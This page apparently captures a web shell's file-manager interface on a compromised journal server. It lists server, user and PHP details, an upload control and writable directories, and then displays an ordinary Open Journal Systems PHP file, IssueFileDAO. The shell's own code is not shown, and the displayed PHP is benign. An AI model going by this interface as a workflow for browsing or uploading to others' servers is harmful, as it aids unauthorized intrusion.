KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/classes/issue/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/classes/issue/IssueFileDAO.inc.php
<?php

/**
 * @file classes/issue/IssueFileDAO.inc.php
 *
 * Copyright (c) 2014-2020 Simon Fraser University
 * Copyright (c) 2003-2020 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class IssueFileDAO
 * @ingroup issue
 * @see IssueFile
 *
 * @brief Operations for retrieving and modifying IssueFile objects.
 */

import('lib.pkp.classes.db.DAO');
import('classes.issue.IssueFile');

class IssueFileDAO extends DAO {

	 /** @var array MIME types that can be displayed inline in a browser */
	var $_inlineableTypes = null;


	/**
	 * Get inlineable file types.
	 * @return array
	 */
	function getInlineableTypes() {
		return $this->_inlineableTypes;
	}

	/**
	 * Set inlineable file types.
	 * @param $inlineableTypes array
	 */
	function setInlineableTypes($inlineableTypes) {
		$this->_inlineableTypes = $inlineableTypes;
	}

	/**
	 * Retrieve an issue file by ID.
	 * @param $fileId int
	 * @param $issueId int optional
	 * @return IssueFile
	 */
	function getById($fileId, $issueId = null) {
		$params = array((int) $fileId);
		if ($issueId) $params[] = (int) $issueId;
		$result = $this->retrieve(
			'SELECT f.*
			FROM	issue_files f
			WHERE	f.file_id = ?
				' . ($issueId?' AND f.issue_id = ?':''),
				$params
			);
		$returner = null;
		if (isset($result) && $result->RecordCount() != 0) {
			$returner = $this->_fromRow($result->GetRowAssoc(false));
		}
		$result->Close();
		return $returner;
	}

	/**
	 * Construct a new IssueFile data object.
	 * @return IssueFile
	 */
	function newDataObject() {
		return new IssueFile();
	}

	/**
	 * Internal function to return an IssueFile object from a row.
	 * @param $row array
	 * @return IssueFile
	 */
	function _fromRow($row) {
		$issueFile = $this->newDataObject();
		$issueFile->setId($row['file_id']);
		$issueFile->setIssueId($row['issue_id']);
		$issueFile->setServerFileName($row['file_name']);
		$issueFile->setFileType($row['file_type']);
		$issueFile->setFileSize($row['file_size']);
		$issueFile->setContentType($row['content_type']);
		$issueFile->setOriginalFileName($row['original_file_name']);
		$issueFile->setDateUploaded($this->datetimeFromDB($row['date_uploaded']));
		$issueFile->setDateModified($this->datetimeFromDB($row['date_modified']));
		HookRegistry::call('IssueFileDAO::_returnIssueFileFromRow', array(&$issueFile, &$row));
		return $issueFile;
	}

	/**
	 * Insert a new IssueFile.
	 * @param $issueFile IssueFile
	 * @return int
	 */
	function insertObject($issueFile) {
		$this->update(
			sprintf(
				'INSERT INTO issue_files
					(issue_id,
					file_name,
					file_type,
					file_size,
					content_type,
					original_file_name,
					date_uploaded,
					date_modified)
				VALUES
					(?, ?, ?, ?, ?, ?, %s, %s)',
				$this->datetimeToDB($issueFile->getDateUploaded()),
				$this->datetimeToDB($issueFile->getDateModified())
			),
			array(
				(int) $issueFile->getIssueId(),
				$issueFile->getServerFileName(),
				$issueFile->getFileType(),
				$issueFile->getFileSize(),
				$issueFile->getContentType(),
				$issueFile->getOriginalFileName()
			)
		);

		$issueFile->setId($this->getInsertId());
		return $issueFile->getId();
	}

	/**
	 * Update an existing issue file.
	 * @param $issue IssueFile
	 */
	function updateObject($issueFile) {
		$this->update(
			sprintf('UPDATE issue_files
				SET
					issue_id = ?,
					file_name = ?,
					file_type = ?,
					file_size = ?,
					content_type = ?,
					original_file_name = ?,
					date_uploaded = %s,
					date_modified = %s
				WHERE file_id = ?',
				$this->datetimeToDB($issueFile->getDateUploaded()),
				$this->datetimeToDB($issueFile->getDateModified())
			),
			array(
				(int) $issueFile->getIssueId(),
				$issueFile->getServerFileName(),
				$issueFile->getFileType(),
				$issueFile->getFileSize(),
				$issueFile->getContentType(),
				$issueFile->getOriginalFileName(),
				(int) $issueFile->getId()
			)
		);

		return $issueFile->getId();

	}

	/**
	 * Delete an issue file.
	 * @param $issue IssueFile
	 */
	function deleteObject($issueFile) {
		$this->deleteById($issueFile->getId());
	}

	/**
	 * Delete an issue file by ID.
	 * @param $issueId int
	 */
	function deleteById($fileId) {
		$this->update(
			'DELETE FROM issue_files WHERE file_id = ?', (int) $fileId
		);
	}

	/**
	 * Delete all issue files for an issue.
	 * @param $issueId int
	 */
	function deleteByIssueId($issueId) {
		$this->update(
			'DELETE FROM issue_files WHERE issue_id = ?', (int) $issueId
		);
	}

	/**
	 * Get the ID of the last inserted issue file.
	 * @return int
	 */
	function getInsertId() {
		return $this->_getInsertId('issue_files', 'file_id');
	}
}



KUNTUL | JINGKONTOT |